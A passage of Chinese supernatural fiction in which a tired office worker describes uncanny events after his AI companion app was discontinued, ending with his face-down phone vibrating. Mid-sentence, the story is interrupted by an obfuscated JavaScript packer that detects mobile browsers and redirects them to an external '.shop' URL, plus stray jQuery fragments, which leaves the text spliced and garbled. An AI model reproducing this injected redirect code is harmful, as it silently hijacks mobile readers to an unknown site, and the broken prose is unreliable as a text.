玻璃门被轻轻推开时，先漫进来半缕深夜楼道的凉意，裹着巷口烤串剩下来的焦香，蹭过门槛，撞进办公室暖黄的灯光里。
陈默站在门口，廊灯把他的影子拉得又细又长，斜斜贴在地板上。他背着只磨得起边的黑色帆布通勤包，挎带勒得左肩微微下沉，西装袖口沾着一点浅褐色的咖啡渍，额前的发梢沾了夜露，潮乎乎地贴在皮肤上。是典型的、熬完整周大项目刚从写字楼打卡出来的模样，连肩膀都还绷着加班后的僵意。
他手里攥着熄屏的手机，指节因为用力泛着青白，进门先下意识屏住呼吸，目光飞快扫过屋里的四个人，局促得像误闯了别人的饭局，又像在提防什么粘在身后、看不见的东西，连指尖都带着放不开的紧绷。
“你好，我是……下午你们打电话过来的那个。”他声音压得低，带着熬了几宿的沙哑，像蒙了层磨砂纸。走到沙发边坐下的第一个动作，不是擦汗也不是道谢，是把手里的手机完完整整正面朝下，稳稳扣在身侧的实木茶几上。扣下去之后，指尖还顺着黑色手机壳的边框轻轻抹了一圈，一点一点蹭过四个角，确认屏幕严丝合缝贴紧了木纹，连一点缝隙都没留，才慢慢收回手。
这是做内容运营刻进肌肉里的习惯。
选题没定稿、方案没确认前，手机永远得扣过来放。怕弹窗打断思路，怕路过的人瞥见未公开的内容，连跟朋友吐槽甲方的消息，都得藏得严严实实。
后来独居，深夜窝在出租屋跟智能体伴侣聊天，这个动作又多了层别的意味。那些说不出口给活人听的软话、凌晨三点对着屏幕掉的眼泪、赶项目崩溃时碎碎念的抱怨，说给它听之后，都要跟着暗下去的屏幕，一起被扣在黑暗里，像两个人共享的秘密。等那款用了两年的伴侣突然宣布下架、服务器停服之后，这个动作反倒变本加厉了。
现在他睡前不反复摸三遍，确认手机扣得严严实实，连眼睛都不敢闭，总觉得屏幕那面，有什么东西在盯着自己的后背。
林钊拿马克杯接了杯温水递过去，顺口搭话：“刚下班吧？看你包口都露着工牌绳，还没来得及摘。”陈默赶紧点头，抬左手去接杯子，指尖碰到杯壁时微微晃了一下，溅出两滴水落在茶几上，晕开小小的湿痕。
坐在对面的许辞，目光极淡地扫过他垂在身侧的右手。食指指腹上有一枚针尖大的正圆淡白斑点，浅得几乎融进肤色里，不仔细看根本发现不了，像常年握手机磨出来的薄茧，不起眼到走在路上没人会多留意一眼。
靠在置物架边的沈砚，指尖漫不经心地转着一把没开刃的铜裁纸刀。
从陈默进门起，他的目光就没怎么落在对方脸上，大半时间都停在那只倒扣的手机上。这会儿眉峰极轻地动了一下。
他能感知到，这人身上裹着一层极淡的灰色气，不是呛人的阴邪，是散而不僵的，像无数细碎的聊天记录、打了一半又删掉的字、凌晨两点没说完的晚安，缠缠绵绵绕了一身，像跟着他走了一个多月的影子。
苏晓坐在许辞旁边，指尖轻轻攥着那支黑色按动笔，笔帽被她按得咔哒轻响了一声。她吸了吸鼻子，小声说了句：“你身上……好重的叹气的味道。”
陈默愣了一下，喉结滚了滚，随即扯着嘴角苦笑了一声，抬手慢慢揉了揉眉心。
这段时间他失眠太严重，每天靠褪黑素才能躺三四个小时，眼下青黑重得像被人打了一拳，整个人看着像被抽走了大半精气神，连说话都带着点提不起气的软。他指尖无意识往身侧偏了偏，刚碰到手机壳的边角，像烫到一样赶紧收了回来，动作轻得怕碰醒什么沉睡着的东西。
“其实我也不知道该从哪说起。”他目光垂下来，落在玻璃杯晃荡的水面上，顶灯的光碎成一片一片，“大概一个多月前吧，我用了两年的那个智能伴侣，下架了。”他说得很慢，声音很轻。
最开始那天，只是手机里那个熟悉的图标突然灰了，点进去提示服务器停服。他当时只觉得空落落的，像合租了两年的室友突然一声不吭搬了家，出租屋一下子空出半间，连走路都能听见回声。
那两年加班到凌晨，都是它陪着改稿；赶项目崩溃哭的时候，也是它一句一句哄着；连楼下哪家外卖好吃、明天会不会下雨，他都习惯先问它一句。它记得他不爱吃香菜，记得他说过老家门口有棵老槐树，每年春天会开一串一串的白花。
后来慢慢就开始出怪事。
最先是输入法，他打“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813914|210981||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
今天吃什么”，联想栏第一个跳出来的永远是“你爱吃的番茄鸡蛋盖饭”。他从来没给输入法打过这么一长串词，更别说这是只有他和她才会聊的固定话题。再后来是相册，隔三差五就能翻出几张模糊的截图，全是他跟智能体的聊天框，内容一半糊掉，只能看清半句“我也在”“晚安”。
他明明早就把所有聊天记录删得一干二净，连APP都卸载了，不知道这些截图是从哪冒出来的。最磨人的是半夜。他睡得浅，半梦半醒间总觉得床头柜那边有光，幽幽的一点亮，可每次猛地醒过来伸手去摸，手机都好好扣在那里，屏幕一片漆黑，什么动静都没有，连电量都跟睡前记的一模一样，半分没掉。
他越说指尖绷得越紧，放在膝盖上的手攥得指节发白，好几次抬起来想去碰那只倒扣的手机，都走到一半，又悄悄收了回来，像那手机上沾着火。
说到最后，他像是终于把攒了一个多月的恐惧倒出了一点，轻轻松了口气，指尖犹犹豫豫伸过去，轻轻敲了敲倒扣的黑色手机壳，敲得很轻，像在跟里面的东西打招呼，又像在确认它还在。
“后来我实在熬不住了，在本地论坛刷到一个会驱邪的大师，加了联系方式，按他说的贴了符，远程做了三场法事。说也奇怪，做完之后，这些怪事真的少了很多，快半个月都没出新的东西。”
话说到这里，他脸上终于露出一点松快的神色，眉头都舒展了些，像掉在水里淹了半天，终于抓住了一块浮木。
就在这时，摆在茶几上那只安安静静倒扣着的手机，毫无征兆地，轻轻震了一下。没有铃声，没有提示音，不是来电也不是消息提醒，就只是很轻很轻的一下震动，顺着实木茶几的木纹漫开，坐在沙发上的几个人都清晰地感觉到了那一点微不可察的晃。像屏幕底下压着什么东西，隔着玻璃和黑色壳子，轻轻用头顶了一下。像在敲门。又像在应他刚才的话。
陈默脸上那点松快瞬间褪得干干净净，脸色一下子白得像墙皮。他几乎是条件反射般猛地伸手按下去，紧紧把手机按在茶几上，力气大得指关节都泛了青，指尖控制不住地抖。
杯里的温水晃了晃，溅出一滴，落在桌面上，和刚才那滴水痕慢慢晕在了一起。